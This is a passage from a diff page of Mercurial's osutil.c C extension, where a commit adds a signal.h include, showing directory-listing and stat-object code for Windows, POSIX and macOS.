##// END OF EJS Templates
osutil: add a function to unblock signals...
Jun Wu -
r35476:8652ab40 default
parent child Browse files
Show More
@@ -1,1335 +1,1357 b''
1 /*
1 /*
2 osutil.c - native operating system services
2 osutil.c - native operating system services
3
3
4 Copyright 2007 Matt Mackall and others
4 Copyright 2007 Matt Mackall and others
5
5
6 This software may be used and distributed according to the terms of
6 This software may be used and distributed according to the terms of
7 the GNU General Public License, incorporated herein by reference.
7 the GNU General Public License, incorporated herein by reference.
8 */
8 */
9
9
10 #define _ATFILE_SOURCE
10 #define _ATFILE_SOURCE
11 #include <Python.h>
11 #include <Python.h>
12 #include <errno.h>
12 #include <errno.h>
13 #include <fcntl.h>
13 #include <fcntl.h>
14 #include <stdio.h>
14 #include <stdio.h>
15 #include <stdlib.h>
15 #include <stdlib.h>
16 #include <string.h>
16 #include <string.h>
17
17
18 #ifdef _WIN32
18 #ifdef _WIN32
19 #include <io.h>
19 #include <io.h>
20 #include <windows.h>
20 #include <windows.h>
21 #else
21 #else
22 #include <dirent.h>
22 #include <dirent.h>
23 #include <signal.h>
23 #include <sys/socket.h>
24 #include <sys/socket.h>
24 #include <sys/stat.h>
25 #include <sys/stat.h>
25 #include <sys/types.h>
26 #include <sys/types.h>
26 #include <unistd.h>
27 #include <unistd.h>
27 #ifdef HAVE_LINUX_STATFS
28 #ifdef HAVE_LINUX_STATFS
28 #include <linux/magic.h>
29 #include <linux/magic.h>
29 #include <sys/vfs.h>
30 #include <sys/vfs.h>
30 #endif
31 #endif
31 #ifdef HAVE_BSD_STATFS
32 #ifdef HAVE_BSD_STATFS
32 #include <sys/mount.h>
33 #include <sys/mount.h>
33 #include <sys/param.h>
34 #include <sys/param.h>
34 #endif
35 #endif
35 #endif
36 #endif
36
37
37 #ifdef __APPLE__
38 #ifdef __APPLE__
38 #include <sys/attr.h>
39 #include <sys/attr.h>
39 #include <sys/vnode.h>
40 #include <sys/vnode.h>
40 #endif
41 #endif
41
42
42 #include "util.h"
43 #include "util.h"
43
44
44 /* some platforms lack the PATH_MAX definition (eg. GNU/Hurd) */
45 /* some platforms lack the PATH_MAX definition (eg. GNU/Hurd) */
45 #ifndef PATH_MAX
46 #ifndef PATH_MAX
46 #define PATH_MAX 4096
47 #define PATH_MAX 4096
47 #endif
48 #endif
48
49
49 #ifdef _WIN32
50 #ifdef _WIN32
50 /*
51 /*
51 stat struct compatible with hg expectations
52 stat struct compatible with hg expectations
52 Mercurial only uses st_mode, st_size and st_mtime
53 Mercurial only uses st_mode, st_size and st_mtime
53 the rest is kept to minimize changes between implementations
54 the rest is kept to minimize changes between implementations
54 */
55 */
55 struct hg_stat {
56 struct hg_stat {
56 int st_dev;
57 int st_dev;
57 int st_mode;
58 int st_mode;
58 int st_nlink;
59 int st_nlink;
59 __int64 st_size;
60 __int64 st_size;
60 int st_mtime;
61 int st_mtime;
61 int st_ctime;
62 int st_ctime;
62 };
63 };
63 struct listdir_stat {
64 struct listdir_stat {
64 PyObject_HEAD
65 PyObject_HEAD
65 struct hg_stat st;
66 struct hg_stat st;
66 };
67 };
67 #else
68 #else
68 struct listdir_stat {
69 struct listdir_stat {
69 PyObject_HEAD
70 PyObject_HEAD
70 struct stat st;
71 struct stat st;
71 };
72 };
72 #endif
73 #endif
73
74
74 #ifdef IS_PY3K
75 #ifdef IS_PY3K
75 #define listdir_slot(name) \
76 #define listdir_slot(name) \
76 static PyObject *listdir_stat_##name(PyObject *self, void *x) \
77 static PyObject *listdir_stat_##name(PyObject *self, void *x) \
77 { \
78 { \
78 return PyLong_FromLong(((struct listdir_stat *)self)->st.name); \
79 return PyLong_FromLong(((struct listdir_stat *)self)->st.name); \
79 }
80 }
80 #else
81 #else
81 #define listdir_slot(name) \
82 #define listdir_slot(name) \
82 static PyObject *listdir_stat_##name(PyObject *self, void *x) \
83 static PyObject *listdir_stat_##name(PyObject *self, void *x) \
83 { \
84 { \
84 return PyInt_FromLong(((struct listdir_stat *)self)->st.name); \
85 return PyInt_FromLong(((struct listdir_stat *)self)->st.name); \
85 }
86 }
86 #endif
87 #endif
87
88
88 listdir_slot(st_dev)
89 listdir_slot(st_dev)
89 listdir_slot(st_mode)
90 listdir_slot(st_mode)
90 listdir_slot(st_nlink)
91 listdir_slot(st_nlink)
91 #ifdef _WIN32
92 #ifdef _WIN32
92 static PyObject *listdir_stat_st_size(PyObject *self, void *x)
93 static PyObject *listdir_stat_st_size(PyObject *self, void *x)
93 {
94 {
94 return PyLong_FromLongLong(
95 return PyLong_FromLongLong(
95 (PY_LONG_LONG)((struct listdir_stat *)self)->st.st_size);
96 (PY_LONG_LONG)((struct listdir_stat *)self)->st.st_size);
96 }
97 }
97 #else
98 #else
98 listdir_slot(st_size)
99 listdir_slot(st_size)
99 #endif
100 #endif
100 listdir_slot(st_mtime)
101 listdir_slot(st_mtime)
101 listdir_slot(st_ctime)
102 listdir_slot(st_ctime)
102
103
103 static struct PyGetSetDef listdir_stat_getsets[] = {
104 static struct PyGetSetDef listdir_stat_getsets[] = {
104 {"st_dev", listdir_stat_st_dev, 0, 0, 0},
105 {"st_dev", listdir_stat_st_dev, 0, 0, 0},
105 {"st_mode", listdir_stat_st_mode, 0, 0, 0},
106 {"st_mode", listdir_stat_st_mode, 0, 0, 0},
106 {"st_nlink", listdir_stat_st_nlink, 0, 0, 0},
107 {"st_nlink", listdir_stat_st_nlink, 0, 0, 0},
107 {"st_size", listdir_stat_st_size, 0, 0, 0},
108 {"st_size", listdir_stat_st_size, 0, 0, 0},
108 {"st_mtime", listdir_stat_st_mtime, 0, 0, 0},
109 {"st_mtime", listdir_stat_st_mtime, 0, 0, 0},
109 {"st_ctime", listdir_stat_st_ctime, 0, 0, 0},
110 {"st_ctime", listdir_stat_st_ctime, 0, 0, 0},
110 {0, 0, 0, 0, 0}
111 {0, 0, 0, 0, 0}
111 };
112 };
112
113
113 static PyObject *listdir_stat_new(PyTypeObject *t, PyObject *a, PyObject *k)
114 static PyObject *listdir_stat_new(PyTypeObject *t, PyObject *a, PyObject *k)
114 {
115 {
115 return t->tp_alloc(t, 0);
116 return t->tp_alloc(t, 0);
116 }
117 }
117
118
118 static void listdir_stat_dealloc(PyObject *o)
119 static void listdir_stat_dealloc(PyObject *o)
119 {
120 {
120 o->ob_type->tp_free(o);
121 o->ob_type->tp_free(o);
121 }
122 }
122
123
123 static PyTypeObject listdir_stat_type = {
124 static PyTypeObject listdir_stat_type = {
124 PyVarObject_HEAD_INIT(NULL, 0) /* header */
125 PyVarObject_HEAD_INIT(NULL, 0) /* header */
125 "osutil.stat", /*tp_name*/
126 "osutil.stat", /*tp_name*/
126 sizeof(struct listdir_stat), /*tp_basicsize*/
127 sizeof(struct listdir_stat), /*tp_basicsize*/
127 0, /*tp_itemsize*/
128 0, /*tp_itemsize*/
128 (destructor)listdir_stat_dealloc, /*tp_dealloc*/
129 (destructor)listdir_stat_dealloc, /*tp_dealloc*/
129 0, /*tp_print*/
130 0, /*tp_print*/
130 0, /*tp_getattr*/
131 0, /*tp_getattr*/
131 0, /*tp_setattr*/
132 0, /*tp_setattr*/
132 0, /*tp_compare*/
133 0, /*tp_compare*/
133 0, /*tp_repr*/
134 0, /*tp_repr*/
134 0, /*tp_as_number*/
135 0, /*tp_as_number*/
135 0, /*tp_as_sequence*/
136 0, /*tp_as_sequence*/
136 0, /*tp_as_mapping*/
137 0, /*tp_as_mapping*/
137 0, /*tp_hash */
138 0, /*tp_hash */
138 0, /*tp_call*/
139 0, /*tp_call*/
139 0, /*tp_str*/
140 0, /*tp_str*/
140 0, /*tp_getattro*/
141 0, /*tp_getattro*/
141 0, /*tp_setattro*/
142 0, /*tp_setattro*/
142 0, /*tp_as_buffer*/
143 0, /*tp_as_buffer*/
143 Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /*tp_flags*/
144 Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /*tp_flags*/
144 "stat objects", /* tp_doc */
145 "stat objects", /* tp_doc */
145 0, /* tp_traverse */
146 0, /* tp_traverse */
146 0, /* tp_clear */
147 0, /* tp_clear */
147 0, /* tp_richcompare */
148 0, /* tp_richcompare */
148 0, /* tp_weaklistoffset */
149 0, /* tp_weaklistoffset */
149 0, /* tp_iter */
150 0, /* tp_iter */
150 0, /* tp_iternext */
151 0, /* tp_iternext */
151 0, /* tp_methods */
152 0, /* tp_methods */
152 0, /* tp_members */
153 0, /* tp_members */
153 listdir_stat_getsets, /* tp_getset */
154 listdir_stat_getsets, /* tp_getset */
154 0, /* tp_base */
155 0, /* tp_base */
155 0, /* tp_dict */
156 0, /* tp_dict */
156 0, /* tp_descr_get */
157 0, /* tp_descr_get */
157 0, /* tp_descr_set */
158 0, /* tp_descr_set */
158 0, /* tp_dictoffset */
159 0, /* tp_dictoffset */
159 0, /* tp_init */
160 0, /* tp_init */
160 0, /* tp_alloc */
161 0, /* tp_alloc */
161 listdir_stat_new, /* tp_new */
162 listdir_stat_new, /* tp_new */
162 };
163 };
163
164
164 #ifdef _WIN32
165 #ifdef _WIN32
165
166
166 static int to_python_time(const FILETIME *tm)
167 static int to_python_time(const FILETIME *tm)
167 {
168 {
168 /* number of seconds between epoch and January 1 1601 */
169 /* number of seconds between epoch and January 1 1601 */
169 const __int64 a0 = (__int64)134774L * (__int64)24L * (__int64)3600L;
170 const __int64 a0 = (__int64)134774L * (__int64)24L * (__int64)3600L;
170 /* conversion factor from 100ns to 1s */
171 /* conversion factor from 100ns to 1s */
171 const __int64 a1 = 10000000;
172 const __int64 a1 = 10000000;
172 /* explicit (int) cast to suspend compiler warnings */
173 /* explicit (int) cast to suspend compiler warnings */
173 return (int)((((__int64)tm->dwHighDateTime << 32)
174 return (int)((((__int64)tm->dwHighDateTime << 32)
174 + tm->dwLowDateTime) / a1 - a0);
175 + tm->dwLowDateTime) / a1 - a0);
175 }
176 }
176
177
177 static PyObject *make_item(const WIN32_FIND_DATAA *fd, int wantstat)
178 static PyObject *make_item(const WIN32_FIND_DATAA *fd, int wantstat)
178 {
179 {
179 PyObject *py_st;
180 PyObject *py_st;
180 struct hg_stat *stp;
181 struct hg_stat *stp;
181
182
182 int kind = (fd->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
183 int kind = (fd->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
183 ? _S_IFDIR : _S_IFREG;
184 ? _S_IFDIR : _S_IFREG;
184
185
185 if (!wantstat)
186 if (!wantstat)
186 return Py_BuildValue("si", fd->cFileName, kind);
187 return Py_BuildValue("si", fd->cFileName, kind);
187
188
188 py_st = PyObject_CallObject((PyObject *)&listdir_stat_type, NULL);
189 py_st = PyObject_CallObject((PyObject *)&listdir_stat_type, NULL);
189 if (!py_st)
190 if (!py_st)
190 return NULL;
191 return NULL;
191
192
192 stp = &((struct listdir_stat *)py_st)->st;
193 stp = &((struct listdir_stat *)py_st)->st;
193 /*
194 /*
194 use kind as st_mode
195 use kind as st_mode
195 rwx bits on Win32 are meaningless
196 rwx bits on Win32 are meaningless
196 and Hg does not use them anyway
197 and Hg does not use them anyway
197 */
198 */
198 stp->st_mode = kind;
199 stp->st_mode = kind;
199 stp->st_mtime = to_python_time(&fd->ftLastWriteTime);
200 stp->st_mtime = to_python_time(&fd->ftLastWriteTime);
200 stp->st_ctime = to_python_time(&fd->ftCreationTime);
201 stp->st_ctime = to_python_time(&fd->ftCreationTime);
201 if (kind == _S_IFREG)
202 if (kind == _S_IFREG)
202 stp->st_size = ((__int64)fd->nFileSizeHigh << 32)
203 stp->st_size = ((__int64)fd->nFileSizeHigh << 32)
203 + fd->nFileSizeLow;
204 + fd->nFileSizeLow;
204 return Py_BuildValue("siN", fd->cFileName,
205 return Py_BuildValue("siN", fd->cFileName,
205 kind, py_st);
206 kind, py_st);
206 }
207 }
207
208
208 static PyObject *_listdir(char *path, int plen, int wantstat, char *skip)
209 static PyObject *_listdir(char *path, int plen, int wantstat, char *skip)
209 {
210 {
210 PyObject *rval = NULL; /* initialize - return value */
211 PyObject *rval = NULL; /* initialize - return value */
211 PyObject *list;
212 PyObject *list;
212 HANDLE fh;
213 HANDLE fh;
213 WIN32_FIND_DATAA fd;
214 WIN32_FIND_DATAA fd;
214 char *pattern;
215 char *pattern;
215
216
216 /* build the path + \* pattern string */
217 /* build the path + \* pattern string */
217 pattern = PyMem_Malloc(plen + 3); /* path + \* + \0 */
218 pattern = PyMem_Malloc(plen + 3); /* path + \* + \0 */
218 if (!pattern) {
219 if (!pattern) {
219 PyErr_NoMemory();
220 PyErr_NoMemory();
220 goto error_nomem;
221 goto error_nomem;
221 }
222 }
222 memcpy(pattern, path, plen);
223 memcpy(pattern, path, plen);
223
224
224 if (plen > 0) {
225 if (plen > 0) {
225 char c = path[plen-1];
226 char c = path[plen-1];
226 if (c != ':' && c != '/' && c != '\\')
227 if (c != ':' && c != '/' && c != '\\')
227 pattern[plen++] = '\\';
228 pattern[plen++] = '\\';
228 }
229 }
229 pattern[plen++] = '*';
230 pattern[plen++] = '*';
230 pattern[plen] = '\0';
231 pattern[plen] = '\0';
231
232
232 fh = FindFirstFileA(pattern, &fd);
233 fh = FindFirstFileA(pattern, &fd);
233 if (fh == INVALID_HANDLE_VALUE) {
234 if (fh == INVALID_HANDLE_VALUE) {
234 PyErr_SetFromWindowsErrWithFilename(GetLastError(), path);
235 PyErr_SetFromWindowsErrWithFilename(GetLastError(), path);
235 goto error_file;
236 goto error_file;
236 }
237 }
237
238
238 list = PyList_New(0);
239 list = PyList_New(0);
239 if (!list)
240 if (!list)
240 goto error_list;
241 goto error_list;
241
242
242 do {
243 do {
243 PyObject *item;
244 PyObject *item;
244
245
245 if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
246 if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
246 if (!strcmp(fd.cFileName, ".")
247 if (!strcmp(fd.cFileName, ".")
247 || !strcmp(fd.cFileName, ".."))
248 || !strcmp(fd.cFileName, ".."))
248 continue;
249 continue;
249
250
250 if (skip && !strcmp(fd.cFileName, skip)) {
251 if (skip && !strcmp(fd.cFileName, skip)) {
251 rval = PyList_New(0);
252 rval = PyList_New(0);
252 goto error;
253 goto error;
253 }
254 }
254 }
255 }
255
256
256 item = make_item(&fd, wantstat);
257 item = make_item(&fd, wantstat);
257 if (!item)
258 if (!item)
258 goto error;
259 goto error;
259
260
260 if (PyList_Append(list, item)) {
261 if (PyList_Append(list, item)) {
261 Py_XDECREF(item);
262 Py_XDECREF(item);
262 goto error;
263 goto error;
263 }
264 }
264
265
265 Py_XDECREF(item);
266 Py_XDECREF(item);
266 } while (FindNextFileA(fh, &fd));
267 } while (FindNextFileA(fh, &fd));
267
268
268 if (GetLastError() != ERROR_NO_MORE_FILES) {
269 if (GetLastError() != ERROR_NO_MORE_FILES) {
269 PyErr_SetFromWindowsErrWithFilename(GetLastError(), path);
270 PyErr_SetFromWindowsErrWithFilename(GetLastError(), path);
270 goto error;
271 goto error;
271 }
272 }
272
273
273 rval = list;
274 rval = list;
274 Py_XINCREF(rval);
275 Py_XINCREF(rval);
275 error:
276 error:
276 Py_XDECREF(list);
277 Py_XDECREF(list);
277 error_list:
278 error_list:
278 FindClose(fh);
279 FindClose(fh);
279 error_file:
280 error_file:
280 PyMem_Free(pattern);
281 PyMem_Free(pattern);
281 error_nomem:
282 error_nomem:
282 return rval;
283 return rval;
283 }
284 }
284
285
285 #else
286 #else
286
287
287 int entkind(struct dirent *ent)
288 int entkind(struct dirent *ent)
288 {
289 {
289 #ifdef DT_REG
290 #ifdef DT_REG
290 switch (ent->d_type) {
291 switch (ent->d_type) {
291 case DT_REG: return S_IFREG;
292 case DT_REG: return S_IFREG;
292 case DT_DIR: return S_IFDIR;
293 case DT_DIR: return S_IFDIR;
293 case DT_LNK: return S_IFLNK;
294 case DT_LNK: return S_IFLNK;
294 case DT_BLK: return S_IFBLK;
295 case DT_BLK: return S_IFBLK;
295 case DT_CHR: return S_IFCHR;
296 case DT_CHR: return S_IFCHR;
296 case DT_FIFO: return S_IFIFO;
297 case DT_FIFO: return S_IFIFO;
297 case DT_SOCK: return S_IFSOCK;
298 case DT_SOCK: return S_IFSOCK;
298 }
299 }
299 #endif
300 #endif
300 return -1;
301 return -1;
301 }
302 }
302
303
303 static PyObject *makestat(const struct stat *st)
304 static PyObject *makestat(const struct stat *st)
304 {
305 {
305 PyObject *stat;
306 PyObject *stat;
306
307
307 stat = PyObject_CallObject((PyObject *)&listdir_stat_type, NULL);
308 stat = PyObject_CallObject((PyObject *)&listdir_stat_type, NULL);
308 if (stat)
309 if (stat)
309 memcpy(&((struct listdir_stat *)stat)->st, st, sizeof(*st));
310 memcpy(&((struct listdir_stat *)stat)->st, st, sizeof(*st));
310 return stat;
311 return stat;
311 }
312 }
312
313
313 static PyObject *_listdir_stat(char *path, int pathlen, int keepstat,
314 static PyObject *_listdir_stat(char *path, int pathlen, int keepstat,
314 char *skip)
315 char *skip)
315 {
316 {
316 PyObject *list, *elem, *stat = NULL, *ret = NULL;
317 PyObject *list, *elem, *stat = NULL, *ret = NULL;
317 char fullpath[PATH_MAX + 10];
318 char fullpath[PATH_MAX + 10];
318 int kind, err;
319 int kind, err;
319 struct stat st;
320 struct stat st;
320 struct dirent *ent;
321 struct dirent *ent;
321 DIR *dir;
322 DIR *dir;
322 #ifdef AT_SYMLINK_NOFOLLOW
323 #ifdef AT_SYMLINK_NOFOLLOW
323 int dfd = -1;
324 int dfd = -1;
324 #endif
325 #endif
325
326
326 if (pathlen >= PATH_MAX) {
327 if (pathlen >= PATH_MAX) {
327 errno = ENAMETOOLONG;
328 errno = ENAMETOOLONG;
328 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
329 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
329 goto error_value;
330 goto error_value;
330 }
331 }
331 strncpy(fullpath, path, PATH_MAX);
332 strncpy(fullpath, path, PATH_MAX);
332 fullpath[pathlen] = '/';
333 fullpath[pathlen] = '/';
333
334
334 #ifdef AT_SYMLINK_NOFOLLOW
335 #ifdef AT_SYMLINK_NOFOLLOW
335 dfd = open(path, O_RDONLY);
336 dfd = open(path, O_RDONLY);
336 if (dfd == -1) {
337 if (dfd == -1) {
337 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
338 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
338 goto error_value;
339 goto error_value;
339 }
340 }
340 dir = fdopendir(dfd);
341 dir = fdopendir(dfd);
341 #else
342 #else
342 dir = opendir(path);
343 dir = opendir(path);
343 #endif
344 #endif
344 if (!dir) {
345 if (!dir) {
345 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
346 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
346 goto error_dir;
347 goto error_dir;
347 }
348 }
348
349
349 list = PyList_New(0);
350 list = PyList_New(0);
350 if (!list)
351 if (!list)
351 goto error_list;
352 goto error_list;
352
353
353 while ((ent = readdir(dir))) {
354 while ((ent = readdir(dir))) {
354 if (!strcmp(ent->d_name, ".") || !strcmp(ent->d_name, ".."))
355 if (!strcmp(ent->d_name, ".") || !strcmp(ent->d_name, ".."))
355 continue;
356 continue;
356
357
357 kind = entkind(ent);
358 kind = entkind(ent);
358 if (kind == -1 || keepstat) {
359 if (kind == -1 || keepstat) {
359 #ifdef AT_SYMLINK_NOFOLLOW
360 #ifdef AT_SYMLINK_NOFOLLOW
360 err = fstatat(dfd, ent->d_name, &st,
361 err = fstatat(dfd, ent->d_name, &st,
361 AT_SYMLINK_NOFOLLOW);
362 AT_SYMLINK_NOFOLLOW);
362 #else
363 #else
363 strncpy(fullpath + pathlen + 1, ent->d_name,
364 strncpy(fullpath + pathlen + 1, ent->d_name,
364 PATH_MAX - pathlen);
365 PATH_MAX - pathlen);
365 fullpath[PATH_MAX] = '\0';
366 fullpath[PATH_MAX] = '\0';
366 err = lstat(fullpath, &st);
367 err = lstat(fullpath, &st);
367 #endif
368 #endif
368 if (err == -1) {
369 if (err == -1) {
369 /* race with file deletion? */
370 /* race with file deletion? */
370 if (errno == ENOENT)
371 if (errno == ENOENT)
371 continue;
372 continue;
372 strncpy(fullpath + pathlen + 1, ent->d_name,
373 strncpy(fullpath + pathlen + 1, ent->d_name,
373 PATH_MAX - pathlen);
374 PATH_MAX - pathlen);
374 fullpath[PATH_MAX] = 0;
375 fullpath[PATH_MAX] = 0;
375 PyErr_SetFromErrnoWithFilename(PyExc_OSError,
376 PyErr_SetFromErrnoWithFilename(PyExc_OSError,
376 fullpath);
377 fullpath);
377 goto error;
378 goto error;
378 }
379 }
379 kind = st.st_mode & S_IFMT;
380 kind = st.st_mode & S_IFMT;
380 }
381 }
381
382
382 /* quit early? */
383 /* quit early? */
383 if (skip && kind == S_IFDIR && !strcmp(ent->d_name, skip)) {
384 if (skip && kind == S_IFDIR && !strcmp(ent->d_name, skip)) {
384 ret = PyList_New(0);
385 ret = PyList_New(0);
385 goto error;
386 goto error;
386 }
387 }
387
388
388 if (keepstat) {
389 if (keepstat) {
389 stat = makestat(&st);
390 stat = makestat(&st);
390 if (!stat)
391 if (!stat)
391 goto error;
392 goto error;
392 elem = Py_BuildValue("siN", ent->d_name, kind, stat);
393 elem = Py_BuildValue("siN", ent->d_name, kind, stat);
393 } else
394 } else
394 elem = Py_BuildValue("si", ent->d_name, kind);
395 elem = Py_BuildValue("si", ent->d_name, kind);
395 if (!elem)
396 if (!elem)
396 goto error;
397 goto error;
397 stat = NULL;
398 stat = NULL;
398
399
399 PyList_Append(list, elem);
400 PyList_Append(list, elem);
400 Py_DECREF(elem);
401 Py_DECREF(elem);
401 }
402 }
402
403
403 ret = list;
404 ret = list;
404 Py_INCREF(ret);
405 Py_INCREF(ret);
405
406
406 error:
407 error:
407 Py_DECREF(list);
408 Py_DECREF(list);
408 Py_XDECREF(stat);
409 Py_XDECREF(stat);
409 error_list:
410 error_list:
410 closedir(dir);
411 closedir(dir);
411 /* closedir also closes its dirfd */
412 /* closedir also closes its dirfd */
412 goto error_value;
413 goto error_value;
413 error_dir:
414 error_dir:
414 #ifdef AT_SYMLINK_NOFOLLOW
415 #ifdef AT_SYMLINK_NOFOLLOW
415 close(dfd);
416 close(dfd);
416 #endif
417 #endif
417 error_value:
418 error_value:
418 return ret;
419 return ret;
419 }
420 }
420
421
421 #ifdef __APPLE__
422 #ifdef __APPLE__
422
423
423 typedef struct {
424 typedef struct {
424 u_int32_t length;
425 u_int32_t length;
425 attrreference_t name;
426 attrreference_t name;
426 fsobj_type_t obj_type;
427 fsobj_type_t obj_type;
427 struct timespec mtime;
428 struct timespec mtime;
428 #if __LITTLE_ENDIAN__
429 #if __LITTLE_ENDIAN__
429 mode_t access_mask;
430 mode_t access_mask;
430 uint16_t padding;
431 uint16_t padding;
431 #else
432 #else
432 uint16_t padding;
433 uint16_t padding;
433 mode_t access_mask;
434 mode_t access_mask;
434 #endif
435 #endif
435 off_t size;
436 off_t size;
436 } __attribute__((packed)) attrbuf_entry;
437 } __attribute__((packed)) attrbuf_entry;
437
438
438 int attrkind(attrbuf_entry *entry)
439 int attrkind(attrbuf_entry *entry)
439 {
440 {
440 switch (entry->obj_type) {
441 switch (entry->obj_type) {
441 case VREG: return S_IFREG;
442 case VREG: return S_IFREG;
442 case VDIR: return S_IFDIR;
443 case VDIR: return S_IFDIR;
443 case VLNK: return S_IFLNK;
444 case VLNK: return S_IFLNK;
444 case VBLK: return S_IFBLK;
445 case VBLK: return S_IFBLK;
445 case VCHR: return S_IFCHR;
446 case VCHR: return S_IFCHR;
446 case VFIFO: return S_IFIFO;
447 case VFIFO: return S_IFIFO;
447 case VSOCK: return S_IFSOCK;
448 case VSOCK: return S_IFSOCK;
448 }
449 }
449 return -1;
450 return -1;
450 }
451 }
451
452
452 /* get these many entries at a time */
453 /* get these many entries at a time */
453 #define LISTDIR_BATCH_SIZE 50
454 #define LISTDIR_BATCH_SIZE 50
454
455
455 static PyObject *_listdir_batch(char *path, int pathlen, int keepstat,
456 static PyObject *_listdir_batch(char *path, int pathlen, int keepstat,
456 char *skip, bool *fallback)
457 char *skip, bool *fallback)
457 {
458 {
458 PyObject *list, *elem, *stat = NULL, *ret = NULL;
459 PyObject *list, *elem, *stat = NULL, *ret = NULL;
459 int kind, err;
460 int kind, err;
460 unsigned long index;
461 unsigned long index;
461 unsigned int count, old_state, new_state;
462 unsigned int count, old_state, new_state;
462 bool state_seen = false;
463 bool state_seen = false;
463 attrbuf_entry *entry;
464 attrbuf_entry *entry;
464 /* from the getattrlist(2) man page: a path can be no longer than
465 /* from the getattrlist(2) man page: a path can be no longer than
465 (NAME_MAX * 3 + 1) bytes. Also, "The getattrlist() function will
466 (NAME_MAX * 3 + 1) bytes. Also, "The getattrlist() function will
466 silently truncate attribute data if attrBufSize is too small." So
467 silently truncate attribute data if attrBufSize is too small." So
467 pass in a buffer big enough for the worst case. */
468 pass in a buffer big enough for the worst case. */
468 char attrbuf[LISTDIR_BATCH_SIZE * (sizeof(attrbuf_entry) + NAME_MAX * 3 + 1)];
469 char attrbuf[LISTDIR_BATCH_SIZE * (sizeof(attrbuf_entry) + NAME_MAX * 3 + 1)];
469 unsigned int basep_unused;
470 unsigned int basep_unused;
470
471
471 struct stat st;
472 struct stat st;
472 int dfd = -1;
473 int dfd = -1;
473
474
474 /* these must match the attrbuf_entry struct, otherwise you'll end up
475 /* these must match the attrbuf_entry struct, otherwise you'll end up
475 with garbage */
476 with garbage */
476 struct attrlist requested_attr = {0};
477 struct attrlist requested_attr = {0};
477 requested_attr.bitmapcount = ATTR_BIT_MAP_COUNT;
478 requested_attr.bitmapcount = ATTR_BIT_MAP_COUNT;
478 requested_attr.commonattr = (ATTR_CMN_NAME | ATTR_CMN_OBJTYPE |
479 requested_attr.commonattr = (ATTR_CMN_NAME | ATTR_CMN_OBJTYPE |
479 ATTR_CMN_MODTIME | ATTR_CMN_ACCESSMASK);
480 ATTR_CMN_MODTIME | ATTR_CMN_ACCESSMASK);
480 requested_attr.fileattr = ATTR_FILE_DATALENGTH;
481 requested_attr.fileattr = ATTR_FILE_DATALENGTH;
481
482
482 *fallback = false;
483 *fallback = false;
483
484
484 if (pathlen >= PATH_MAX) {
485 if (pathlen >= PATH_MAX) {
485 errno = ENAMETOOLONG;
486 errno = ENAMETOOLONG;
486 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
487 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
487 goto error_value;
488 goto error_value;
488 }
489 }
489
490
490 dfd = open(path, O_RDONLY);
491 dfd = open(path, O_RDONLY);
491 if (dfd == -1) {
492 if (dfd == -1) {
492 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
493 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
493 goto error_value;
494 goto error_value;
494 }
495 }
495
496
496 list = PyList_New(0);
497 list = PyList_New(0);
497 if (!list)
498 if (!list)
498 goto error_dir;
499 goto error_dir;
499
500
500 do {
501 do {
501 count = LISTDIR_BATCH_SIZE;
502 count = LISTDIR_BATCH_SIZE;
502 err = getdirentriesattr(dfd, &requested_attr, &attrbuf,
503 err = getdirentriesattr(dfd, &requested_attr, &attrbuf,
503 sizeof(attrbuf), &count, &basep_unused,
504 sizeof(attrbuf), &count, &basep_unused,
504 &new_state, 0);
505 &new_state, 0);
505 if (err < 0) {
506 if (err < 0) {
506 if (errno == ENOTSUP) {
507 if (errno == ENOTSUP) {
507 /* We're on a filesystem that doesn't support
508 /* We're on a filesystem that doesn't support
508 getdirentriesattr. Fall back to the
509 getdirentriesattr. Fall back to the
509 stat-based implementation. */
510 stat-based implementation. */
510 *fallback = true;
511 *fallback = true;
511 } else
512 } else
512 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
513 PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
513 goto error;
514 goto error;
514 }
515 }
515
516
516 if (!state_seen) {
517 if (!state_seen) {
517 old_state = new_state;
518 old_state = new_state;
518 state_seen = true;
519 state_seen = true;
519 } else if (old_state != new_state) {
520 } else if (old_state != new_state) {
520 /* There's an edge case with getdirentriesattr. Consider
521 /* There's an edge case with getdirentriesattr. Consider
521 the following initial list of files:
522 the following initial list of files:
522
523
523 a
524 a
524 b
525 b
525 <--
526 <--
526 c
527 c
527 d
528 d
528
529
529 If the iteration is paused at the arrow, and b is
530 If the iteration is paused at the arrow, and b is
530 deleted before it is resumed, getdirentriesattr will
531 deleted before it is resumed, getdirentriesattr will
531 not return d at all! Ordinarily we're expected to
532 not return d at all! Ordinarily we're expected to
532 restart the iteration from the beginning. To avoid
533 restart the iteration from the beginning. To avoid
533 getting stuck in a retry loop here, fall back to
534 getting stuck in a retry loop here, fall back to
534 stat. */
535 stat. */
535 *fallback = true;
536 *fallback = true;
536 goto error;
537 goto error;
537 }
538 }
538
539
539 entry = (attrbuf_entry *)attrbuf;
540 entry = (attrbuf_entry *)attrbuf;
540
541
541 for (index = 0; index < count; index++) {
542 for (index = 0; index < count; index++) {
542 char *filename = ((char *)&entry->name) +
543 char *filename = ((char *)&entry->name) +
543 entry->name.attr_dataoffset;
544 entry->name.attr_dataoffset;
544
545
545 if (!strcmp(filename, ".") || !strcmp(filename, ".."))
546 if (!strcmp(filename, ".") || !strcmp(filename, ".."))
546 continue;
547 continue;
547
548
548 kind = attrkind(entry);
549 kind = attrkind(entry);
549 if (kind == -1) {
550 if (kind == -1) {
550 PyErr_Format(PyExc_OSError,
551 PyErr_Format(PyExc_OSError,
551 "unknown object type %u for file "
552 "unknown object type %u for file "
552 "%s%s!",
553 "%s%s!",
553 entry->obj_type, path, filename);
554 entry->obj_type, path, filename);
554 goto error;
555 goto error;
555 }
556 }
556
557
